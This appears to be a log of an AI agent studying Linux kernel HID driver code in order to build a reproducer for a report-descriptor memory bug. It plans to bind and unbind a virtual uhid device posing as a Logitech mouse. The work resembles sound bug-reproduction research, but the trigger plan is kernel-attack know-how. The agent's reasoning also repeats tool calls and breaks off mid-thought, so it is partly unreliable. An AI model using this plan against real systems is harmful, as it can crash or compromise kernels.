4428: hidpp_application_equals(hdev, HID_GD_KEYBOARD))
4429: hidpp->quirks |= HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS;
4430:
4431: if (hidpp->quirks & HIDPP_QUIRK_CLASS_WTP) {
4432: ret = wtp_allocate(hdev, id);
4433: if (ret)
4434: return ret;
4435: } else if (hidpp->quirks & HIDPP_QUIRK_CLASS_K400) {
4436: ret = k400_allocate(hdev);
4437: if (ret)
4438: return ret;
4439: }
4440:
4441: INIT_WORK(&hidpp->work, hidpp_connect_event);
4442: INIT_WORK(&hidpp->reset_hi_res_work, hidpp_reset_hi_res_handler);
4443: mutex_init(&hidpp->send_mutex);
4444: init_waitqueue_head(&hidpp->wait);
4445:
4446: /* indicates we are handling the battery properties in the kernel */
4447: ret = sysfs_create_group(&hdev->dev.kobj, &ps_attribute_group);
4448: if (ret)
4449: hid_warn(hdev, "Cannot allocate sysfs group for %s\n",
4450: hdev->name);
4451:
4452: /*
4453: * First call hid_hw_start(hdev, 0) to allow IO without connecting any
4454: * hid subdrivers (hid-input, hidraw). This allows retrieving the dev's
4455: * name and serial number and store these in hdev->name and hdev->uniq,
4456: * before the hid-input and hidraw drivers expose these to userspace.
4457: */
4458: ret = hid_hw_start(hdev, 0);
4459: if (ret) {
4460: hid_err(hdev, "hw start failed\n");
4461: goto hid_hw_start_fail;
4462: }
4463:
4464: ret = hid_hw_open(hdev);
4465: if (ret < 0) {
4466: dev_err(&hdev->dev, "%s:hid_hw_open returned error:%d\n",
4467: __func__, ret);
4468: goto hid_hw_open_fail;
4469: }
4470:
4471: /* Allow incoming packets */
4472: hid_device_io_start(hdev);
4473:
4474: /* Get name + serial, store in hdev->name + hdev->uniq */
4475: if (id->group == HID_GROUP_LOGITECH_DJ_DEVICE)
4476: hidpp_unifying_init(hidpp);
4477: else
4478: hidpp_non_unifying_init(hidpp);
4479:
4480: if (hidpp->quirks & HIDPP_QUIRK_DELAYED_INIT)
4481: connect_mask &= ~HID_CONNECT_HIDINPUT;
4482:
4483: /* Now export the actual inputs and hidraw nodes to the world */
4484: hid_device_io_stop(hdev);
4485: ret = hid_connect(hdev, connect_mask);
4486: if (ret) {
4487: hid_err(hdev, "%s:hid_connect returned error %d\n", __func__, ret);
4488: goto hid_hw_init_fail;
4489: }
4490:
4491: /* Check for connected devices now that incoming packets will not be disabled again */
4492: hid_device_io_start(hdev);
4493: schedule_work(&hidpp->work);
4494: flush_work(&hidpp->work);
4495:
4496: if (hidpp->quirks & HIDPP_QUIRK_CLASS_G920) {
4497: struct hidpp_ff_private_data data;
4498:
4499: ret = g920_get_config(hidpp, &data);
4500: if (!ret)
4501: ret = hidpp_ff_init(hidpp, &data);
4502:
4503: if (ret) {
4504: hid_warn(hidpp->hid_dev,
4505: "Unable to initialize force feedback support, errno %d\n",
4506: ret);
4507: ret = 0;
4508: }
4509: }
4510:
4511: /*
4512: * This relies on logi_dj_ll_close() being a no-op so that DJ connection
4513: * events will still be received.
4514: */
4515: hid_hw_close(hdev);
4516: return ret;
4517:
4518: hid_hw_init_fail:
4519: hid_hw_close(hdev);
4520: hid_hw_open_fail:
4521: hid_hw_stop(hdev);
4522: hid_hw_start_fail:
4523: sysfs_remove_group(&hdev->dev.kobj, &ps_attribute_group);
4524: cancel_work_sync(&hidpp->work);
4525: mutex_destroy(&hidpp->send_mutex);
4526: return ret;
4527: }
SourceFile:drivers/hid/hid-logitech-hidpp.c]
|
| 185/5 |
2026/05/19 10:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 53801
output: 46
thoughts: 85
Thoughts: Okay, here's my take on those thoughts, framed as my own reasoning:
**Initial Assessment of `hidpp_probe`**
Right, so `hidpp_probe` doesn't bother with a preliminary check of `hid_is_usb`, which, honestly, is often a source of unnecessary complexity. Instead, it dives straight into the core logic with `hid_parse`. Smart. Then it goes into `hidpp_validate_device`. Now, the crucial part: if *that* validation fails, instead of giving up, it just moves forward with `hid_hw_start` and returns. Bingo! That's exactly the kind of robust design I appreciate. It means that, despite any initial validation hiccups, there's a good chance it'll still succeed in binding to the device. This is precisely what I was hoping to see.
Now, let's switch gears and investigate `hidpp_devices`. That should give me the vendor and product IDs I need to really understand what's going on with this hardware.
|
| 186/5 |
2026/05/19 10:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-logitech-hidpp.c IncludeLines:true Name:hidpp_devices]
Results: map[SourceCode:4552: static const struct hid_device_id hidpp_devices[] = {
4553: { /* wireless touchpad */
4554: LDJ_DEVICE(0x4011),
4555: .driver_data = HIDPP_QUIRK_CLASS_WTP | HIDPP_QUIRK_DELAYED_INIT |
4556: HIDPP_QUIRK_WTP_PHYSICAL_BUTTONS },
4557: { /* wireless touchpad T650 */
4558: LDJ_DEVICE(0x4101),
4559: .driver_data = HIDPP_QUIRK_CLASS_WTP | HIDPP_QUIRK_DELAYED_INIT },
4560: { /* wireless touchpad T651 */
4561: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH,
4562: USB_DEVICE_ID_LOGITECH_T651),
4563: .driver_data = HIDPP_QUIRK_CLASS_WTP | HIDPP_QUIRK_DELAYED_INIT },
4564: { /* Mouse Logitech Anywhere MX */
4565: LDJ_DEVICE(0x1017), .driver_data = HIDPP_QUIRK_HI_RES_SCROLL_1P0 },
4566: { /* Mouse logitech M560 */
4567: LDJ_DEVICE(0x402d),
4568: .driver_data = HIDPP_QUIRK_DELAYED_INIT | HIDPP_QUIRK_CLASS_M560 },
4569: { /* Mouse Logitech M705 (firmware RQM17) */
4570: LDJ_DEVICE(0x101b), .driver_data = HIDPP_QUIRK_HI_RES_SCROLL_1P0 },
4571: { /* Mouse Logitech Performance MX */
4572: LDJ_DEVICE(0x101a), .driver_data = HIDPP_QUIRK_HI_RES_SCROLL_1P0 },
4573: { /* Keyboard logitech K400 */
4574: LDJ_DEVICE(0x4024),
4575: .driver_data = HIDPP_QUIRK_CLASS_K400 },
4576: { /* Solar Keyboard Logitech K750 */
4577: LDJ_DEVICE(0x4002),
4578: .driver_data = HIDPP_QUIRK_CLASS_K750 },
4579: { /* Keyboard MX5000 (Bluetooth-receiver in HID proxy mode) */
4580: LDJ_DEVICE(0xb305),
4581: .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
4582: { /* Dinovo Edge (Bluetooth-receiver in HID proxy mode) */
4583: LDJ_DEVICE(0xb309),
4584: .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
4585: { /* Keyboard MX5500 (Bluetooth-receiver in HID proxy mode) */
4586: LDJ_DEVICE(0xb30b),
4587: .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
4588: { /* Logitech G502 Lightspeed Wireless Gaming Mouse */
4589: LDJ_DEVICE(0x407f),
4590: .driver_data = HIDPP_QUIRK_RESET_HI_RES_SCROLL },
4591:
4592: { LDJ_DEVICE(HID_ANY_ID) },
4593:
4594: { /* Keyboard LX501 (Y-RR53) */
4595: L27MHZ_DEVICE(0x0049),
4596: .driver_data = HIDPP_QUIRK_KBD_ZOOM_WHEEL },
4597: { /* Keyboard MX3000 (Y-RAM74) */
4598: L27MHZ_DEVICE(0x0057),
4599: .driver_data = HIDPP_QUIRK_KBD_SCROLL_WHEEL },
4600: { /* Keyboard MX3200 (Y-RAV80) */
4601: L27MHZ_DEVICE(0x005c),
4602: .driver_data = HIDPP_QUIRK_KBD_ZOOM_WHEEL },
4603: { /* S510 Media Remote */
4604: L27MHZ_DEVICE(0x00fe),
4605: .driver_data = HIDPP_QUIRK_KBD_SCROLL_WHEEL },
4606:
4607: { L27MHZ_DEVICE(HID_ANY_ID) },
4608:
4609: { /* Logitech G403 Wireless Gaming Mouse over USB */
4610: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC082) },
4611: { /* Logitech G502 Lightspeed Wireless Gaming Mouse over USB */
4612: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC08D) },
4613: { /* Logitech G703 Gaming Mouse over USB */
4614: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC087) },
4615: { /* Logitech G703 Hero Gaming Mouse over USB */
4616: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC090) },
4617: { /* Logitech G900 Gaming Mouse over USB */
4618: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC081) },
4619: { /* Logitech G903 Gaming Mouse over USB */
4620: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC086) },
4621: { /* Logitech G Pro Gaming Mouse over USB */
4622: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC088) },
4623: { /* MX Vertical over USB */
4624: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC08A) },
4625: { /* Logitech G703 Hero Gaming Mouse over USB */
4626: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC090) },
4627: { /* Logitech G903 Hero Gaming Mouse over USB */
4628: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC091) },
4629: { /* Logitech G915 TKL Keyboard over USB */
4630: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC343) },
4631: { /* Logitech G920 Wheel over USB */
4632: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G920_WHEEL),
4633: .driver_data = HIDPP_QUIRK_CLASS_G920 | HIDPP_QUIRK_FORCE_OUTPUT_REPORTS},
4634: { /* Logitech G923 Wheel (Xbox version) over USB */
4635: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G923_XBOX_WHEEL),
4636: .driver_data = HIDPP_QUIRK_CLASS_G920 | HIDPP_QUIRK_FORCE_OUTPUT_REPORTS },
4637: { /* Logitech G Pro X Superlight Gaming Mouse over USB */
4638: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC094) },
4639: { /* Logitech G Pro X Superlight 2 Gaming Mouse over USB */
4640: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC09b) },
4641: { /* Logitech G PRO 2 LIGHTSPEED Wireless Mouse over USB */
4642: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xc09a) },
4643:
4644: { /* G935 Gaming Headset */
4645: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0x0a87),
4646: .driver_data = HIDPP_QUIRK_WIRELESS_STATUS },
4647:
4648: { /* MX5000 keyboard over Bluetooth */
4649: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb305),
4650: .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
4651: { /* Dinovo Edge keyboard over Bluetooth */
4652: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb309),
4653: .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
4654: { /* MX5500 keyboard over Bluetooth */
4655: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb30b),
4656: .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
4657: { /* Logitech G915 TKL keyboard over Bluetooth */
4658: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb35f) },
4659: { /* M-RCQ142 V470 Cordless Laser Mouse over Bluetooth */
4660: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb008) },
4661: { /* MX Master mouse over Bluetooth */
4662: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb012) },
4663: { /* M720 Triathlon mouse over Bluetooth */
4664: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb015) },
4665: { /* MX Master 2S mouse over Bluetooth */
4666: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb019) },
4667: { /* MX Ergo trackball over Bluetooth */
4668: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb01d) },
4669: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb01e) },
4670: { /* MX Vertical mouse over Bluetooth */
4671: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb020) },
4672: { /* Signature M650 over Bluetooth */
4673: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb02a) },
4674: { /* MX Master 3 mouse over Bluetooth */
4675: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb023) },
4676: { /* MX Anywhere 3 mouse over Bluetooth */
4677: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb025) },
4678: { /* MX Master 3S mouse over Bluetooth */
4679: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb034) },
4680: { /* MX Anywhere 3S mouse over Bluetooth */
4681: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb037) },
4682: { /* MX Anywhere 3SB mouse over Bluetooth */
4683: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb038) },
4684: { /* Slim Solar+ K980 Keyboard over Bluetooth */
4685: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb391) },
4686: { /* MX Master 4 mouse over Bluetooth */
4687: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb042) },
4688: { /* Logitech Signature K650 over Bluetooth */
4689: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb36f) },
4690: { /* Logitech Signature K650 B2B over Bluetooth */
4691: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb370) },
4692: { /* Logitech Pebble Keys 2 K380S over Bluetooth */
4693: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb377) },
4694: { /* Logitech Casa Pop-Up Desk over Bluetooth */
4695: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb371) },
4696: { /* Logitech Casa Pop-Up Desk B2B over Bluetooth */
4697: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb374) },
4698: { /* Logitech Wave Keys over Bluetooth */
4699: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb383) },
4700: { /* Logitech Wave Keys B2B over Bluetooth */
4701: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb384) },
4702: { /* Logitech Signature Slim K950 over Bluetooth */
4703: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb386) },
4704: { /* Logitech Signature Slim K950 B2B over Bluetooth */
4705: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb388) },
4706: { /* Logitech MX Keys S over Bluetooth */
4707: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb378) },
4708: { /* Logitech MX Keys S B2B over Bluetooth */
4709: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb380) },
4710: { /* Logitech Keys-To-Go 2 over Bluetooth */
4711: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb38c) },
4712: { /* Logitech Pop Icon Keys over Bluetooth */
4713: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb38f) },
4714: { /* Logitech MX Keys Mini over Bluetooth */
4715: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb369) },
4716: { /* Logitech MX Keys Mini B2B over Bluetooth */
4717: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb36e) },
4718: { /* Logitech Signature Slim Solar+ K980 B2B over Bluetooth */
4719: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb394) },
4720: { /* Logitech Bluetooth Keyboard K250/K251 over Bluetooth */
4721: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb397) },
4722: { /* Logitech Signature Comfort K880 over Bluetooth */
4723: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb39c) },
4724: { /* Logitech Signature Comfort K880 B2B over Bluetooth */
4725: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb39d) },
4726: {}
4727: };
SourceFile:drivers/hid/hid-logitech-hidpp.c]
|
| 187/5 |
2026/05/19 10:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 58660
output: 52
thoughts: 4184
Thoughts: **My Analysis of the HID Report Descriptor Vulnerability**
Okay, so here's the breakdown of my thinking. Initially, I thought that I could target `HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC082)` because it looked like `logitech-hidpp` was the driver to use. I confirmed that the Vendor ID is `0x046d` and the Product ID is `0xc082`. It looked like that particular driver was likely to be compiled into the kernel. The thought was that the `hidpp_probe` function might be vulnerable since it calls `hidpp_validate_device`. If `hidpp_validate_device` failed, it returned `hid_hw_start(hdev, HID_CONNECT_DEFAULT)`, which means it would likely succeed! The `hidpp_report_fixup` function gets called in this scenario.
I then started digging into `hidpp_report_fixup`. It checks to see if the `hidpp` pointer is NULL, but if it is, it returns `rdesc`. Let's look further. `hidpp_probe` calls `devm_kzalloc`, which means `hidpp` will *not* be NULL. The function `hid_parse` calls `hid_open_report`, which calls `report_fixup`. That made it *highly* likely `hidpp` wouldn't be NULL. The code then checked if the device was a Logitech 27MHz device or if it had the quirk `HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS`. If it did, it calls `hidpp10_consumer_keys_report_fixup`. It returns `rdesc`. I had to check `hid_open_report` again. The code says, "if `device->driver->report_fixup` exists, allocate a new descriptor and copy the `report_fixup` output." *Even* if `report_fixup` simply returns `rdesc` without modification, `hid_open_report` *still* allocates a new descriptor! So `hdev->rdesc` will be dynamically allocated!
I was now confident. So I decided to use the `hid-logitech-hidpp` driver with Vendor `0x046d` and Product `0xc082`, using the bind/unbind paths of `/sys/bus/hid/drivers/logitech-hidpp/bind` and `/sys/bus/hid/drivers/logitech-hidpp/unbind`.
I then started to write the reproducer, using `/dev/uhid` to create a virtual device.
However, after looking further, I thought the logic might have been flawed. I realized that if `hidpp_validate_device` fails, the code frees `hidpp`, which then would trigger `hid_hw_start`, which makes it a successful probe. When the unbind happens, the function `hid_device_remove` calls `hid_close_report`, which *should* free `hdev->rdesc`. But I had to check other things.
I also considered if `logitech-hidpp` was not loaded, then what else could I use. The driver `hid-apple` is very common. The initial reproducer was trying to load `logitech-hidpp`. So I had to see if I needed to use apple instead. So, I added logic to the reproducer to try `apple` if logitech failed.
But then, if I create a `uhid` device with Logitech vendor ID, it will bind to `logitech-hidpp`. Then, if I want to try `apple`, I would need to create a `uhid` device with an Apple vendor ID. Then, I decided I can use `logitech-hidpp` because the check if the driver can be used or not, happens inside of `hidpp_probe`.
Also, I checked if `hid-apple` calls `hid_is_usb`, it does not. Also, `hid-logitech-hidpp` does not check this. So I could just create an `uhid` device, and the driver could be bound to it. I realized the original bug report was triggered by `hid-lg`, but this failed because of `hid_is_usb`. This is why I decided to go with `hid-apple`.
Also, I checked `hid-apple`. After the code for the reproducer was set, I checked other possible drivers.
I made sure that `hdev->rdesc` *must* be dynamically allocated. I reviewed the `hid_open_report` function again. I also had to make sure the fixup function exists. Also, I realized the descriptor
|
| 188/5 |
2026/05/19 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/bpf/hid_bpf_dispatch.c IncludeLines:true Name:hid_bpf_device_init]
Results: map[SourceCode: 234: static inline int hid_bpf_device_init(struct hid_device *hid) { return 0; }
SourceFile:include/linux/hid_bpf.h]
|
| 189/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 63986
output: 52
thoughts: 35
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Hmm, A Potential Naming Collision?**
Alright, let's see... *hid_bpf_device_init*... right, it's related to the BPF infrastructure for HID devices. But wait a second, I thought I was looking at a function in the driver layer, and now I'm seeing this definition in *drivers/hid/bpf/hid_bpf_dispatch.c* as well. That’s unusual, and something to take note of immediately. Is this a potential naming collision that needs to be clarified? Is this intended to be a common function? Or, could it be duplicated code?
|
| 190/5 |
2026/05/19 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/bpf/hid_bpf_dispatch.c IncludeLines:true Name:hid_bpf_device_init]
Results: map[SourceCode: 234: static inline int hid_bpf_device_init(struct hid_device *hid) { return 0; }
SourceFile:include/linux/hid_bpf.h]
|
| 191/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 64293
output: 43
thoughts: 23
Thoughts: Here's my take on those thoughts, tailored for an expert audience:
**Diving into the HID Device Addition**
Okay, so I need to understand the device addition process within the HID subsystem. The most logical starting point is the `hid_add_device` function. I'll need to navigate to `drivers/hid/hid-core.c`. This is where the core logic for handling new HID devices should reside. I'm expecting to find the initial device setup, registration within the HID framework, and probably the enumeration of the reports and collection discovery steps. I'm also curious about the interaction with the USB or other underlying bus drivers at this point; does it happen within this function or is it handled by the calling driver. I'll be looking for how the input, output, and feature reports are handled here. Let's see how they handle the data reports at this step.
|
| 192/5 |
2026/05/19 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_add_device]
Results: map[SourceCode:2957: int hid_add_device(struct hid_device *hdev)
2958: {
2959: static atomic_t id = ATOMIC_INIT(0);
2960: int ret;
2961:
2962: if (WARN_ON(hdev->status & HID_STAT_ADDED))
2963: return -EBUSY;
2964:
2965: hdev->quirks = hid_lookup_quirk(hdev);
2966:
2967: /* we need to kill them here, otherwise they will stay allocated to
2968: * wait for coming driver */
2969: if (hid_ignore(hdev))
2970: return -ENODEV;
2971:
2972: /*
2973: * Check for the mandatory transport channel.
2974: */
2975: if (!hdev->ll_driver->raw_request) {
2976: hid_err(hdev, "transport driver missing .raw_request()\n");
2977: return -EINVAL;
2978: }
2979:
2980: /*
2981: * Read the device report descriptor once and use as template
2982: * for the driver-specific modifications.
2983: */
2984: ret = hdev->ll_driver->parse(hdev);
2985: if (ret)
2986: return ret;
2987: if (!hdev->dev_rdesc)
2988: return -ENODEV;
2989:
2990: /*
2991: * Scan generic devices for group information
2992: */
2993: hid_set_group(hdev);
2994:
2995: hdev->id = atomic_inc_return(&id);
2996:
2997: /* XXX hack, any other cleaner solution after the driver core
2998: * is converted to allow more than 20 bytes as the device name? */
2999: dev_set_name(&hdev->dev, "%04X:%04X:%04X.%04X", hdev->bus,
3000: hdev->vendor, hdev->product, hdev->id);
3001:
3002: hid_debug_register(hdev, dev_name(&hdev->dev));
3003: ret = device_add(&hdev->dev);
3004: if (!ret)
3005: hdev->status |= HID_STAT_ADDED;
3006: else
3007: hid_debug_unregister(hdev);
3008:
3009: return ret;
3010: }
SourceFile:drivers/hid/hid-core.c]
|
| 193/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 65336
output: 22
thoughts: 67
Thoughts: **Tracing the `device_add` Call**
Okay, so I'm looking at this code and immediately my attention is drawn to the `device_add` function call. Right, `device_add`… that’s a critical point in the device registration lifecycle. It triggers the `probe` function, as I recall. Now, that's the real entry point for this device, so I need to understand what's happening at this point.
The immediate question is – where is `bpf_rdesc` being initialized? I need the device configuration from somewhere, and `bpf_rdesc` has to be a critical part of that. Let's see… Since this looks like a HID device with a BPF component, let me check `hid_bpf_device_init` within the `drivers/hid/bpf/hid_bpf_dispatch.c` file. That's the most logical place to start digging into how the BPF related device initialization is being handled.
|
| 194/5 |
2026/05/19 10:19 |
tool |
grepper |
0m
Args: map[Expression:hid_bpf_device_init]
Results: map[Output:drivers/hid/bpf/hid_bpf_dispatch.c=645=EXPORT_SYMBOL_GPL(hid_bpf_destroy_device);
drivers/hid/bpf/hid_bpf_dispatch.c-646-
drivers/hid/bpf/hid_bpf_dispatch.c:647:int hid_bpf_device_init(struct hid_device *hdev)
drivers/hid/bpf/hid_bpf_dispatch.c-648-{
--
drivers/hid/bpf/hid_bpf_dispatch.c-652-}
drivers/hid/bpf/hid_bpf_dispatch.c:653:EXPORT_SYMBOL_GPL(hid_bpf_device_init);
drivers/hid/bpf/hid_bpf_dispatch.c-654-
--
drivers/hid/hid-core.c=3022=struct hid_device *hid_allocate_device(void)
--
drivers/hid/hid-core.c-3048-
drivers/hid/hid-core.c:3049: ret = hid_bpf_device_init(hdev);
drivers/hid/hid-core.c-3050- if (ret)
--
include/linux/hid_bpf.h=214=void hid_bpf_destroy_device(struct hid_device *hid);
include/linux/hid_bpf.h:215:int hid_bpf_device_init(struct hid_device *hid);
include/linux/hid_bpf.h-216-const u8 *call_hid_bpf_rdesc_fixup(struct hid_device *hdev, const u8 *rdesc, unsigned int *size);
--
include/linux/hid_bpf.h=233=static inline void hid_bpf_destroy_device(struct hid_device *hid) {}
include/linux/hid_bpf.h:234:static inline int hid_bpf_device_init(struct hid_device *hid) { return 0; }
include/linux/hid_bpf.h-235-static inline const u8 *call_hid_bpf_rdesc_fixup(struct hid_device *hdev, const u8 *rdesc,
]
|
| 195/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 66203
output: 52
thoughts: 32
Thoughts: Okay, let's dive into this. Here's my thought process on dissecting `hid_bpf_device_init` in `drivers/hid/bpf/hid_bpf_dispatch.c`:
**Initial Examination of hid_bpf_device_init**
Right, so I need to understand how this function, `hid_bpf_device_init`, works within the broader context of the HID BPF framework. That means it’s responsible for initializing a BPF-enabled device within the HID subsystem. I'll need to know: what data structures it works with, what resources it allocates or acquires, and what critical steps are taken to integrate the BPF functionality. I'll start by making sure it’s in the right spot, `drivers/hid/bpf/hid_bpf_dispatch.c`. Now, let's start reading the code.
|
| 196/5 |
2026/05/19 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/bpf/hid_bpf_dispatch.c IncludeLines:true Name:hid_bpf_device_init]
Results: map[SourceCode: 234: static inline int hid_bpf_device_init(struct hid_device *hid) { return 0; }
SourceFile:include/linux/hid_bpf.h]
|
| 197/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 66542
output: 23
thoughts: 30
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing `hid_bpf_dispatch.c` Line 647**
Okay, I'm at a point where I need to drill down into the HID BPF dispatch mechanism. Specifically, I'm thinking I should start by examining the code in `drivers/hid/bpf/hid_bpf_dispatch.c`. I need to get a clear picture of how this is working under the hood. The focus needs to be on line 647. I want to see how the bpf is being attached and where. I'm hoping to understand a particular issue, and a line of code is as good a starting point as any.
|
| 198/5 |
2026/05/19 10:19 |
tool |
grepper |
0m
Args: map[Expression:int hid_bpf_device_init]
Results: map[Output:drivers/hid/bpf/hid_bpf_dispatch.c=645=EXPORT_SYMBOL_GPL(hid_bpf_destroy_device);
drivers/hid/bpf/hid_bpf_dispatch.c-646-
drivers/hid/bpf/hid_bpf_dispatch.c:647:int hid_bpf_device_init(struct hid_device *hdev)
drivers/hid/bpf/hid_bpf_dispatch.c-648-{
--
include/linux/hid_bpf.h=214=void hid_bpf_destroy_device(struct hid_device *hid);
include/linux/hid_bpf.h:215:int hid_bpf_device_init(struct hid_device *hid);
include/linux/hid_bpf.h-216-const u8 *call_hid_bpf_rdesc_fixup(struct hid_device *hdev, const u8 *rdesc, unsigned int *size);
--
include/linux/hid_bpf.h=233=static inline void hid_bpf_destroy_device(struct hid_device *hid) {}
include/linux/hid_bpf.h:234:static inline int hid_bpf_device_init(struct hid_device *hid) { return 0; }
include/linux/hid_bpf.h-235-static inline const u8 *call_hid_bpf_rdesc_fixup(struct hid_device *hdev, const u8 *rdesc,
]
|
| 199/5 |
2026/05/19 10:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 67132
output: 26
thoughts: 36
Thoughts: Here's a summary of my thought process:
**Diving into `hid_bpf_dispatch.c` for `call_hid_bpf_rdesc_fixup`**
Okay, time to get my hands dirty. I'm focusing in on `drivers/hid/bpf/hid_bpf_dispatch.c`. Specifically, I need to understand `call_hid_bpf_rdesc_fixup`. This likely handles some crucial aspect of BPF-based HID descriptor manipulation. Given the context, I'm expecting this to be involved in either filtering, transforming, or validating report descriptors before they're used by the HID subsystem. I'll need to see how the function is used, what arguments it takes, and what it's returning to figure out the exact flow. Understanding this function's role is key to understanding how BPF is integrated within the HID stack and will give me insight into where problems might arise or where optimization opportunities could lie. Let's see what we can find.
|
| 200/5 |
2026/05/19 10:19 |
tool |
grepper |
0m
Args: map[Expression:call_hid_bpf_rdesc_fixup]
Results: map[Output:drivers/hid/bpf/hid_bpf_dispatch.c=160=EXPORT_SYMBOL_GPL(dispatch_hid_bpf_output_report);
drivers/hid/bpf/hid_bpf_dispatch.c-161-
drivers/hid/bpf/hid_bpf_dispatch.c:162:const u8 *call_hid_bpf_rdesc_fixup(struct hid_device *hdev, const u8 *rdesc, unsigned int *size)
drivers/hid/bpf/hid_bpf_dispatch.c-163-{
--
drivers/hid/bpf/hid_bpf_dispatch.c-198-}
drivers/hid/bpf/hid_bpf_dispatch.c:199:EXPORT_SYMBOL_GPL(call_hid_bpf_rdesc_fixup);
drivers/hid/bpf/hid_bpf_dispatch.c-200-
--
drivers/hid/bpf/hid_bpf_dispatch.c=272=int hid_bpf_reconnect(struct hid_device *hdev)
--
